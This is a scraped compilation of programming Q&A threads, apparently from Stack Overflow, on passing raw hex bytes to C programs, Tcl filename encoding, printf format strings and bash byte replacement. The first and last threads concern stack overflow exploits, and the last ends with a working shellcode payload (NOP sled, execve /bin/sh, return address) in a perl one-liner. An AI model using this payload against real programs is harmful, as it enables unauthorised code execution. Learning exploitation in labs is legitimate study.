Provide hex value as an input to gets in C - c

I'm working on a simple arc injection exploit, wherein this particular string gives me the desired address of the place where I'd like to jump: Á^F#^#. This is the address 0x004006c1 (I'm using a 64 bit Intel processor, so x86-64 with little endian arrangement).
When I provide this string Á^F#^# as input to a vulnerable gets() routine in my function and inspect the addresses using gdb, the address gets modified to 0x00400681 instead of 0x004006c1. I'm not quite sure as to why this is happening. Furthermore, is there any way to easily provide hexadecimal values to a gets routine at stdin? I've tried doing something like: 121351...12312\xc1\x06\x40\x00, but instead of picking up \xc1 as it is, it translates individual character to hex, so I get something like 5c78.. (hex for \ and x, followed by hex for c and 1).
Any help is appreciated, thanks!

You could just put the raw bytes into a file somewhere and pipe it directly into your application.
$ path/to/my_app <raw_binary_data
Alternatively, you could wrap the application in a shell script that converts escaped hex bytes into their corresponding byte values. The echo utility will do this when the -e switch is set on the command line, for example:
$ echo '\x48\x65\x6c\x6c\x6f'
\x48\x65\x6c\x6c\x6f
$ echo -e '\x48\x65\x6c\x6c\x6f'
Hello
You can use this feature to process your application's input as follows:
while read -r line; do echo -e $line; done | path/to/my_app
To terminate the input, try pressing ControlD or ControlC.

Related

How to copy files with special characters in their names with TCL's exec?

I'm trying to upload files containing special characters on our platform via the exec command but the characters are always interpreted and it fails.
For example if I try to upload a mémo.txt file I get the following error:
/bin/cp: cannot create regular file `/path/to/dir/m\351mo.txt': No such file or directory
The UTF8 is correctly configured on the system and if I run the command on the shell it works fine.
Here is the TCL code:
exec /bin/cp $tmp_filename $dest_path
How can I make it work?
The core of the problem is what encoding is being used to communicate with the operating system. For exec and filenames, that encoding is whatever is returned by the encoding system command (Tcl has a pretty good guess at what the correct value for that is when the Tcl library starts up, but very occasionally gets it wrong). On my computer, that command returns utf-8 which says (correctly!) that strings passed to (and received from) the OS are UTF-8.
You should be able to use the file copy command instead of doing exec /bin/cp, which will be helpful here as that's got less layers of trickiness (it avoids going through an external program which can impose its own problems). We'll assume that that's being done:
set tmp_filename "foobar.txt"; # <<< fill in the right value, of course
set dest_path "/path/to/dir/mémo.txt"
file copy $tmp_filename $dest_path
If that fails, we need to work out why. The most likely problems relate to the encoding though, and can go wrong in multiple ways that interact horribly. Alas, the details matter. In particular, the encoding for a path depends on the actual filesystem (it's formally a parameter when the filesystem is created) and can vary on Unix between parts of a path when you have a mount within another mount.
If the worst comes to the worst, you can put Tcl into ISO 8859-1 mode and then do all the encoding yourself (as ISO 8859-1 is the “just use the bytes I tell you” encoding); encoding convertto is also useful in this case. Be aware that this can generate filenames that cause trouble for other programs, but it's at least able to let you get at it.
encoding system iso98859-1
file copy $tmp_filename [encoding convertto utf-8 $dest_path]
Care might be needed to convert different parts of the path correctly in this case: you're taking full responsibility for what's going on.
If you're on Windows, please just let Tcl handle the details. Tcl uses the Wide (Unicode) Windows API directly so you can pretend that none of these problems exist. (There are other problems instead.)
On macOS, please leave encoding system alone as it is correct. Macs have a very opinionated approach to encodings.
I already tried the file copy command but it says error copying
"/tmp/file7k5kqg" to "/path/to/dir/mémo.txt": no such file or
directory
My reading of your problem is that, for some reason, your Tcl is set to iso8859-1 ([encoding system]), while the executing environment (shell) is set to utf-8. This explains why Donal's suggestion works for you:
encoding system iso8859-1
file copy $tmp_filename [encoding convertto utf-8 $dest_path]
This will safely pass utf-8 encoded bytearray down to any syscall: é or \xc3\xa9 or \u00e9. Watch:
% binary encode hex [encoding convertto utf-8 é]
c3a9
% encoding system iso8859-1; exec xxd << [encoding convertto utf-8 é]
00000000: c3a9 ..
This is equivalent to [encoding system] also being set to utf-8 (as to be expected in an otherwise utf-8 environment):
% encoding system
utf-8
% exec xxd << é
00000000: c3a9 ..
What you are experiencing (without any intervention) seems to be a re-coding of the Tcl internal encoding to iso8859-1 on the way out from Tcl (because of [encoding system], as Donal describes), and a follow-up (and faulty) re-coding of this iso8859-1 value into the utf-8 environment.
Watch the difference (\xe9 vs. \xc3\xa9):
% encoding system iso8859-1
% encoding system
iso8859-1
% exec xxd << é
00000000: e9
The problem it then seems is that \xe9 is to be interpreted in your otherwise utf-8 env, like:
$ locale
LANG="de_AT.UTF-8"
...
$ echo -ne '\xe9'
?
$ touch `echo -ne 'm\xe9mo.txt'`
touch: m?mo.txt: Illegal byte sequence
$ touch mémo.txt
$ ls mémo.txt
mémo.txt
$ cp `echo -ne 'm\xe9mo.txt'` b.txt
cp: m?mo.txt: No such file or directory
But:
$ cp `echo -ne 'm\xc3\xa9mo.txt'` b.txt
$ ls b.txt
b.txt
Your options:
(1) You need to find out why Tcl picks up iso8859-1, to begin with. How did you obtain your installation? Self-compiled? What are the details (version)?
(2) You may proceed as Donal suggests, or alternatively, set encoding system utf-8 explicitly.
encoding system utf-8
file copy $tmp_filename $dest_path

Input Hex into argv[1]

I have a program that takes input from argv[1] so I run it like
./myProgram Hello
But I need to input hexadecimals instead of decimal/text so something like
./myProgram \x48\x65\x6c\x6c\x6f
but the program takes that in as text instead of hexadecimals that form the word Hello.
I can't
python -c "print '\x48\x65\x6c\x6c\x6f'" | ./myProgram
because the program takes the data in as argv[1]
How do I solve the problem? (I cannot modify the program)
Continuing from the comment, not knowing exactly what was in ./myProgram made it a bit difficult to guess, but there are several logical things to try given what you reported.
As you point out, you need to take the hex input as the first argument to ./myProgram rather than passing it to the program on stdin. You correctly note that python -c "print '\x48\x65\x6c\x6c\x6f'" | ./myProgram fails for that reason. As you know, piping to a program redirects stdout of the initial process to stdin of the subsequent process, rather than as an argument to it.
That is where process substitution can help. When placing a process within $(...) (or the older format within backticks '...'), the output of the program is returned. Therefore, you can provide the output of python -c "print '\x48\x65\x6c\x6c\x6f'" as an argument by:
./myProgram $(python -c "print '\x48\x65\x6c\x6c\x6f'")
Lastly, if myProgram is simply looking for hexadecimal input in string format, then there is no reason for multiple escapes. Simply providing a string representation of the hex number may be enough. Something like the following:
./myProgram 0x48656c6c6f
I'm glad one of the suggestions was the "silver-bullet" you needed. Good luck with your shell use. Let us know if you have any further questions.
Let's assume you're writting a program as the post is tagged c.
1) command line parameter format will be like following:
./myProgram 0x55 0xAA 0xBB ...
or even
./myProgram 55 66 AA BB ...
2) in your program all input parameters will be available via argv array as strings. You can use sscanf with format %X to read hex values out of them and store them into unsigned integer variables. Also, in the simplest case it will look similar to:
unsigned int var;
sscanf(argv[1], "%X", &var); // will read 0x55
sscanf(argv[2], "%X", &var); // will read 0x66 and so on
David Rankin's approach works well as long as the input string does not contain whitespace. A space will cause the input to be broken into two arguments. Normally, to avoid this, one would surround the string with double quotes, but that prevents the python execution. I solved this for my case by creating an intermediate variable that I could quote:
foo=$(echo -e "\001 Hi!")
myProgram "$foo"

Why can't I set printf's output format with dynamic args?

I want to control the printf() functions output format with dynamic parameter, just as the code showed below:
#include<stdio.h>
int main(int argc,char ** argv)
{
printf(argv[1],"hello,world");
return 0;
}
Then I compile and run it:
$ gcc -o test test.c
$ ./test "\t%s\n"
The result is strange:
\thello,world\n$
Why "\n" and "\t" has no effect?
Because the escapes you use (\t and \n) are interpreted inside string literals by the C compiler, not by printf(). This:
const char *newline1 = "\n", newline2[] = { '\n', 0 };
would generate the exact same content in newline1 and newline2, regardless of whether or not these are ever passed to printf(); the strings are there anyway.
Your code behaves just like this would:
printf("\\t%s\\n", "hello,world");
Here, I've double-escaped the special characters to generate a string with the same actual content as your command-line argument, i.e. "\t%s\n" (six characters rather than four).
The proper way to dynamically control printf() is to build the format string in code. If you want C-like escapes at runtime, you need to interpret them yourself in some way.
The sequence \n in a string or character literal in C/C++ is a single byte with the numeric value 10 (on an ASCII system). When output on a terminal (try putchar(10)!) it just sets the output position for the next character on the terminal to the beginning of the next line (on *nix; on MacOS, I think, you need an additional \r, or 13 for carriage return to have the output position at the beginning of the line).
Similarily, a \t is the notation for a single byte with the value 9, which makes most terminals advance their cursor to the next tabulator position.
What you need is to insert a single byte of these values in the command line. How that can be done depends on your shell; in bash you can keep the shell from interpreting special characters by pressing Ctrl-V beforehand. That outputs e.g. a tab, displayed by showing some empty space (instead of making the shell show possible string continuations or whatever tab does in bash). bash strings in single or double quotes can include newlines without further efforts -- simply press enter.
Here is a sample run in a cygwin terminal with bash. I pressed the indicated keys at the indicated positions; I finished the command as usual with [return] after the closing single quote on the second line.
pressed Ctrl-v,[TAB] here | pressed [return] there
v v
$ ./printf-arg.exe ' %s
> '
hello,world
The > in the second line was output by the shell after I pressed enter within the string delimited by single quotes. (Which inserts a newline in the string). It is an indication that the string being edited is continued on that line.
As an aside, it is probably unsafe to use command line arguments this way in potentially hostile environments. Carefully crafted strings could access memory which is not meant to be accessed and e.g. redirect return addresses, thus corrupting the program.
It's because the compiler handles the escape sequences like "\n" etc., and it does it in string or character literals only.
if you pass interpreted "\t%s\n" to command it will work. However it is tricky to construct such string in shell. The easiest way I know is:
./test $'\t%s\n'
See ANSI quoting in man bash for the $'magick'

Bash shell scripting: How to replace characters at specific byte offsets

I'm looking to replace characters at specific byte offsets.
Here's what is provided:
An input file that is simple ASCII text.
An array within a Bash shell script, each element of the array is a numerical byte-offset value.
The goal:
Take the input file, and at each of the byte-offsets, replace the character there with an asterisk.
So essentially the idea I have in mind is to somehow go through the file, byte-by-byte, and if the current byte-offset being read is a match for an element value from the array of offsets, then replace that byte with an asterisk.
This post seems to indicate that the dd command would be a good candidate for this action, but I can't understand how to perform the replacement multiple times on the input file.
Input file looks like this:
00000
00000
00000
The array of offsets looks this:
offsetsArray=("2" "8" "9" "15")
The output file's desired format looks like this:
0*000
0**00
00*00
Any help you could provide is most appreciated. Thank you!
Please check my comment about about newline offset. Assuming this is correct (note I have changed your offset array), then I think this should work for you:
#!/bin/bash
read -r -d ''
offsetsArray=("2" "8" "9" "15")
txt="${REPLY}"
for i in "${offsetsArray[#]}"; do
txt="${txt:0:$i-1}*${txt:$i}"
done
printf "%s" "$txt"
Explanation:
read -d '' reads the whole input (redirected file) in one go into the $REPLY variable. If you have large files, this can run you out of memory.
We then loop through the offsets array, one element at a time. We use each index i to grab i-1 characters from the beginning of the string, then insert a * character, then add the remaining bytes from offset i. This is done with bash parameter expansion. Note that while your offsets are one-based, bash strings use zero-based indexing.
In use:
$ ./replacechars.sh < input.txt
0*000
0**00
00*00
$
Caveat:
This is not really a very efficient solution, as it causes the sting containing the whole file to be copied for every offset. If you have large files and/or a large number of offsets, then this will run slowly. If you need something faster, then another language that allows modification of individual characters in a string would be much better.
The usage of dd can be a bit confusing at the time, but it's not that hard:
outfile="test.txt"
# create some test data
echo -n 0123456789abcde > "$outfile"
offsetsArray=("2" "7" "8" "13")
for offset in "${offsetsArray[#]}"; do
dd bs=1 count=1 seek="$offset" conv=notrunc of="$outfile" <<< '*'
done
cat "$outfile"
Important for this example is to use conv=notrunc, otherwise dd truncates the file to the length of blocks it seeks over. bs=1 specifies that you want to work with blocks of size 1, and seek specifies the offset to satart writing count blocks to.
The above produces 01*3456**9abc*e
With the same offset considerations as #DigitalTrauma's superior solution, here's a GNU awk-based alternative. This assumes your file contains no null bytes
(IFS=','; awk -F '' -v RS=$'\0' -v OFS='' -v offsets="${offsetsArray[*]}" \
'BEGIN{split(offsets, o, ",")};{for (k in o) $o[k]="*"; print}' file)
0*000
0**00
00*00

Argument input for a bufferoverflow

I am trying to spawn a shell on a commandline program without stack protection, this program takes in two inputs a number and a date.
./convert <number> <date>
and I want to overflow the buffer, now I am trying to do
[nop sled] ..... [shell code] ..... [return address]
my problem lies in the fact when I pass the nops through the command line (or more precisely in GDB). In GDB when I do a run with the arguments: 1 \x90\x90\x90\x90.... 700 bytes worth, what it takes in as input is the actual characters '\' 'x' '9' '0' as oppose to the hex value for nop. How can I enter this in properly? (I know this because the EIP gives me 39785c30 which translates into 9x\0). What can I do about this?
Okay, Got it! one can use the perl print function and use the escapes to have it print the nops (and other characters that you cant print with a keyboard). for example perl -e 'print "\x90"' and it will send 0x90 to memory (or whatever you need).
I did something like this:
egg=$(perl -e 'print "\x90"x719, "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh", "\x90\xf6\xff\xbf"x5')
Thanks all for the help!

Resources